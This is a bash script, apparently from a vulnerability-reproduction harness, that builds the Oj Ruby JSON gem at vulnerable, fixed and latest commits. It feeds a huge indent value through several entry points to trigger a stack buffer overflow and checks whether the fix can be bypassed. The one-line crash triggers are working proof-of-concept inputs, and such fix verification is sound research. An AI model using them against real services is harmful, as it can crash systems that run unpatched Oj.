#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
VARIANT_DIR="$ROOT/vuln_variant"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$VARIANT_DIR"
mkdir -p "$ARTIFACTS"

cd "$ROOT"

CACHE_DIR=""
CACHE_FILE="$ROOT/project_cache_context.json"
if [[ -f "$CACHE_FILE" ]]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_FILE" 2>/dev/null || true)
fi

SOURCE_REPO="${CACHE_DIR:-}/repo"
if [[ -z "${CACHE_DIR:-}" || ! -d "$SOURCE_REPO/.git" ]]; then
    SOURCE_REPO="https://github.com/ohler55/oj.git"
fi

VULN_DIR="$ARTIFACTS/oj-vuln"
FIXED_DIR="$ARTIFACTS/oj-fixed"
LATEST_DIR="$ARTIFACTS/oj-latest"

VULN_COMMIT="4587e87e23adc9a4163834dc8c9ba9d7206c6501"
FIXED_COMMIT="ec368dbe936ef0104b782e4b0f67b17d6c7276f7"
LATEST_COMMIT="b0677dccb6d3e3dc260d19e1f1c2c3913f378afc"

LOG="$LOGS/vuln_variant_reproduction_steps.log"
mkdir -p "$LOGS"
exec > >(tee -a "$LOG") 2>&1

echo "=== Oj stack buffer overflow variant analysis (CVE-2026-54502) ==="
echo "ROOT=$ROOT"
echo "SOURCE_REPO=$SOURCE_REPO"
echo "VULN_COMMIT=$VULN_COMMIT"
echo "FIXED_COMMIT=$FIXED_COMMIT"
echo "LATEST_COMMIT=$LATEST_COMMIT"

if ! command -v ruby >/dev/null 2>&1 || ! command -v gem >/dev/null 2>&1; then
    echo "Installing Ruby..."
    sudo apt-get update -qq
    sudo apt-get install -y -qq ruby ruby-dev
fi
ruby --version

ensure_clone() {
    local dir="$1"
    if [[ ! -d "$dir/.git" ]]; then
        rm -rf "$dir"
        git clone "$SOURCE_REPO" "$dir"
    fi
    git -C "$dir" fetch origin || true
}

ensure_clone "$VULN_DIR"
ensure_clone "$FIXED_DIR"
ensure_clone "$LATEST_DIR"

build_oj() {
    local dir="$1"
    local sha="$2"
    local label="$3"

    echo "Building $label at $sha..."
    git -C "$dir" checkout -f "$sha"
    local actual_sha
    actual_sha=$(git -C "$dir" rev-parse HEAD)
    if [[ "$actual_sha" != "$sha" ]]; then
        echo "ERROR: checkout mismatch for $label (expected $sha, got $actual_sha)"
        return 1
    fi

    cd "$dir/ext/oj"
    make clean >/dev/null 2>&1 || true
    ruby extconf.rb >/dev/null 2>&1
    make >/dev/null 2>&1
    mkdir -p "$dir/lib/oj"
    cp "$dir/ext/oj/oj.so" "$dir/lib/oj/oj.so"
    cd "$ROOT"
}

# classify a log file into:
#   segfault  => crash observed (vulnerable)
#   rejected  => indent rejected by fix (ArgumentError)
#   ok        => completed without crash or rejection
#   unknown   => unexpected result
classify_log() {
    local log="$1"
    if grep -q "Segmentation fault" "$log" || grep -q "\[BUG\] Segmentation fault" "$log"; then
        echo "segfault"
    elif grep -q "indent is limited to" "$log"; then
        echo "rejected"
    elif grep -q "indent must be a" "$log" || grep -q "indent must be an" "$log"; then
        echo "rejected"
    elif grep -q "completed" "$log" && ! grep -q "Segmentation fault" "$log"; then
        echo "ok"
    else
        echo "unknown"
    fi
}

run_test() {
    local dir="$1"
    local label="$2"
    local test_script="$3"
    local log="$LOGS/${label}.log"

    echo "Running $label..."
    echo "--- $label ---" > "$log"
    ruby -I"$dir/lib" -e "$test_script" >> "$log" 2>&1 || true
    local rc=0
    local outcome
    outcome=$(classify_log "$log")
    echo "$label outcome: $outcome"
    echo "$outcome" > "$LOGS/${label}.result"
}

build_oj "$VULN_DIR" "$VULN_COMMIT" "vulnerable"
build_oj "$FIXED_DIR" "$FIXED_COMMIT" "fixed"
build_oj "$LATEST_DIR" "$LATEST_COMMIT" "latest"

INT_MAX=2147483647

# 1. Original entry point: Oj.dump with a large indent.
run_test "$VULN_DIR" "vuln_dump" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: $INT_MAX); puts 'completed'"
run_test "$FIXED_DIR" "fixed_dump" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: $INT_MAX); puts 'completed'"
run_test "$LATEST_DIR" "latest_dump" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: $INT_MAX); puts 'completed'"

# 2. Alternate entry point: Oj::StringWriter.new with a large indent, then push a value in an array.
run_test "$VULN_DIR" "vuln_string_writer" "require 'oj'; puts Oj::VERSION; w = Oj::StringWriter.new(indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"
run_test "$FIXED_DIR" "fixed_string_writer" "require 'oj'; puts Oj::VERSION; w = Oj::StringWriter.new(indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"
run_test "$LATEST_DIR" "latest_string_writer" "require 'oj'; puts Oj::VERSION; w = Oj::StringWriter.new(indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"

# 3. Alternate entry point: Oj::StreamWriter.new with a large indent, then push a value in an array.
run_test "$VULN_DIR" "vuln_stream_writer" "require 'oj'; require 'stringio'; puts Oj::VERSION; io = StringIO.new; w = Oj::StreamWriter.new(io, indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"
run_test "$FIXED_DIR" "fixed_stream_writer" "require 'oj'; require 'stringio'; puts Oj::VERSION; io = StringIO.new; w = Oj::StreamWriter.new(io, indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"
run_test "$LATEST_DIR" "latest_stream_writer" "require 'oj'; require 'stringio'; puts Oj::VERSION; io = StringIO.new; w = Oj::StreamWriter.new(io, indent: $INT_MAX); w.push_array; w.push_value(1); w.pop_all; puts 'completed'"

# 4. Alternate entry point: set default_options to a large indent, then Oj.dump.
run_test "$VULN_DIR" "vuln_default_options" "require 'oj'; puts Oj::VERSION; Oj.default_options = {indent: $INT_MAX}; Oj.dump({a: 1}); puts 'completed'"
run_test "$FIXED_DIR" "fixed_default_options" "require 'oj'; puts Oj::VERSION; Oj.default_options = {indent: $INT_MAX}; Oj.dump({a: 1}); puts 'completed'"
run_test "$LATEST_DIR" "latest_default_options" "require 'oj'; puts Oj::VERSION; Oj.default_options = {indent: $INT_MAX}; Oj.dump({a: 1}); puts 'completed'"

# 5. Bypass attempt: negative indent should be harmless because fill_indent checks 0 < indent.
run_test "$VULN_DIR" "vuln_negative_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: -1); puts 'completed'"
run_test "$FIXED_DIR" "fixed_negative_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: -1); puts 'completed'"
run_test "$LATEST_DIR" "latest_negative_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: -1); puts 'completed'"

# 6. Bypass attempt: Bignum indent (out of int range) to see if truncation occurs.
run_test "$VULN_DIR" "vuln_bignum_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: 10**40); puts 'completed'"
run_test "$FIXED_DIR" "fixed_bignum_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: 10**40); puts 'completed'"
run_test "$LATEST_DIR" "latest_bignum_indent" "require 'oj'; puts Oj::VERSION; Oj.dump({a: 1}, indent: 10**40); puts 'completed'"

echo ""
echo "=== RESULTS ==="
for label in vuln_dump fixed_dump latest_dump \
             vuln_string_writer fixed_string_writer latest_string_writer \
             vuln_stream_writer fixed_stream_writer latest_stream_writer \
             vuln_default_options fixed_default_options latest_default_options \
             vuln_negative_indent fixed_negative_indent latest_negative_indent \
             vuln_bignum_indent fixed_bignum_indent latest_bignum_indent; do
    result=$(cat "$LOGS/${label}.result" 2>/dev/null || echo "missing")
    echo "$label => $result"
done

# A bypass means a segfault on the fixed or latest version while the same test segfaults on vulnerable.
BYPASS_FOUND=false
for test in dump string_writer stream_writer default_options; do
    vuln=$(cat "$LOGS/vuln_${test}.result" 2>/dev/null || echo "unknown")
    fixed=$(cat "$LOGS/fixed_${test}.result" 2>/dev/null || echo "unknown")
    latest=$(cat "$LOGS/latest_${test}.result" 2>/dev/null || echo "unknown")
    if [[ "$vuln" == "segfault" && ( "$fixed" == "segfault" || "$latest" == "segfault" ) ]]; then
        BYPASS_FOUND=true
        echo "BYPASS DETECTED: $test segfaults on fixed/latest"
    fi
done

if [[ "$BYPASS_FOUND" == "true" ]]; then
    echo "BYPASS_FOUND: true"
    exit 0
else
    echo "BYPASS_FOUND: false"
    exit 1
fi